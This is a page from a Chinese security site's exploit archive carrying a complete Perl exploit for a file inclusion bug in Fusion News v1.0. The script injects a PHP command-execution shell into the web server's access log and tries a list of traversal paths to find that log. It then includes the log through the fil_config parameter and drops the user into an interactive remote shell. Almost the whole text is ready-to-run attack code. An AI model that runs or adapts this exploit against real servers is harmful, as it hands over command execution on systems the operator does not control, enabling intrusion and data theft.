首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Fusion News v.1.0 (fil_config) Remote File Inclusion Exploit
来源:www.xfocus.net 作者:X0r_1 发布时间:2006-05-22  

#!/usr/bin/perl
use IO::Socket;

####################################################################################
# #
# Exploit coded by: X0r_1 #
# Bug found by: X0r_1 #
# release: 21.05.06 #
# #
# vulnerable code in sources\post.php at lines 32-35: #
#----------------------------------------------------------------------------------#
#... #
# global $VARS, $TEMPLATE, $fil_lang, $fil_config, $url_fs, $url_smil, $url_bbco; #
# include ($fil_config); #
# include ("./sources/js.db.php"); #
#... #
#----------------------------------------------------------------------------------#
# if register_globals = On you can overwrite the var $fil_config ! #
####################################################################################

print "==========================================================================\r\n";
print "| Fusion News v.1.0 Remote File Inclusion Exploit |\r\n";
print "|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|\r\n";
print "| Bug found and exploit coded by: X0r_1 |\r\n";
print "| works just with register_globals = On |\r\n";
print "==========================================================================\r\n\n\n";


###############################################################################
## !!! Ziel $server und $path von Fusion News müssen eingetragen werden !!! ##
###############################################################################
$server = "127.0.0.1";
$path = "/news/";
###############################################################################

$code = "<?php ob_clean();echo _StaRt_;passthru(\$_GET[cmd]);echo _EnD_;die; ?>";

sub urlEncode
{
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}


sub inject
{
$log = "no";

print "[#] Verbindung wird hergestellt . . . \n";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout => 10, PeerPort=>"http(80)")
or die "\n[X] es konnte keine Verbindung hergestellt werden ! \n";

print "[#] Verbindung hergestellt ! \n";
print "[#] PHP Code wird in die Log Files Injected . . . \n";

print $sock "GET ".$path." ".$code." HTTP/1.1\r\n";
print $sock "Host: ".$server."\r\n";
print $sock "Connection: close\r\n\r\n";

print "[#] PHP Code in Log File Injected ! \n\n";
print "[#] Suche nach Log File Pfad \n";

# Hier können noch mehr mögliche Pfade zu den Server logs eingetragen werden !
#
@path= (
"../../../../../../../../../../apache/logs/access.log",
"../../../../../../../../../apache/logs/access.log",
"../../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../apache/logs/access.log",
"../../../../../apache/logs/access.log",
"../../../../apache/logs/access.log",
"../../../apache/logs/access.log",
"../../apache/logs/access.log",
"../apache/logs/access.log",
"../../../../../../../../../logs/access.log",
"../../../../../../../../logs/access.log",
"../../../../../../../logs/access.log",
"../../../../../../logs/access.log",
"../../../../../logs/access.log",
"../../../../logs/access.log",
"../../../logs/access.log",
"../../logs/access.log",
"../logs/access.log",

);

for ($i=0; $i<=$#path; $i++)
{

print " [+] Versuche ".$path[$i]."\n";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout => 10, PeerPort=>"http(80)")
or die "\n[X] es konnte keine Verbindung hergestellt werden ! \n";

print $sock "GET ".$path."sources/post.php?fil_config=".$path[$i]."&cmd=echo%20startnow HTTP/1.1\r\n";
print $sock "Host: ".$server."\r\n";
print $sock "Connection: close\r\n\r\n";

$out = "";

while ($answer = <$sock>)
{
$out.=$answer;
}
close($sock);


if ($out =~ m/_StaRt_(.*?)_EnD_/ms)
{
print "\n[#] Log File Pfad gefunden ! \n\n";
print "==========================================================================\n\n\n";
$log = $i;
$i = $#path

}
}

if ($log eq "no")
{ print "\n\n[X] Log File Pfad konnte nicht gefunden werden ! \n\n"; exit;}

}


sub exploit
{


$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout => 10, PeerPort=>"http(80)")
or die "\n[X] es konnte keine Verbindung hergestellt werden ! \n";

print $sock "GET ".$path."sources/post.php?fil_config=".$path[$log]."&cmd=".&urlEncode($cmd)." HTTP/1.1\r\n";
print $sock "Host: ".$server."\r\n";
print $sock "Connection: close\r\n\r\n";

while ($answer = <$sock>)
{
$v .= $answer;
}
close($sock);


if ($v =~ m/_StaRt_(.*?)_EnD_/ms)
{
print "\n\n$1\n\n";
}


$answer = "";
$v = "";

&getcmd;
}


sub getcmd
{

print "\$Shell > ";
$cmd = "";
$cmd = <STDIN>;
chop($cmd);

if (!$cmd)
{
print "\n>> [ Bitte geben Sie einen Befehl ein ! ]\n\n";
&getcmd;
}

elsif ($cmd eq "exit")
{
exit;
}


&exploit
}

&inject;
&getcmd;



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xoops <= 2.0.13.2 xoopsOpti
·Cyrus IMAPD 2.3.2 (pop3d) Remo
·Woltlab Burning Board <= 2.
·portmap 5 beta (Set/Dump) Loca
·IntelliTamper 2.07 (*.map file
·Nucleus CMS <= 3.22 (DIR_LI
·phpListPro <= 2.0.1 (Langua
·Drupal <= 4.7 (attachment m
·Mozilla Firefox <= 1.5.0.3
·Novell eDirectory 8.8 Long URI
·DeluxeBB <= 1.06 (Attachmen
·WordPress <= 2.0.2 (cache)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved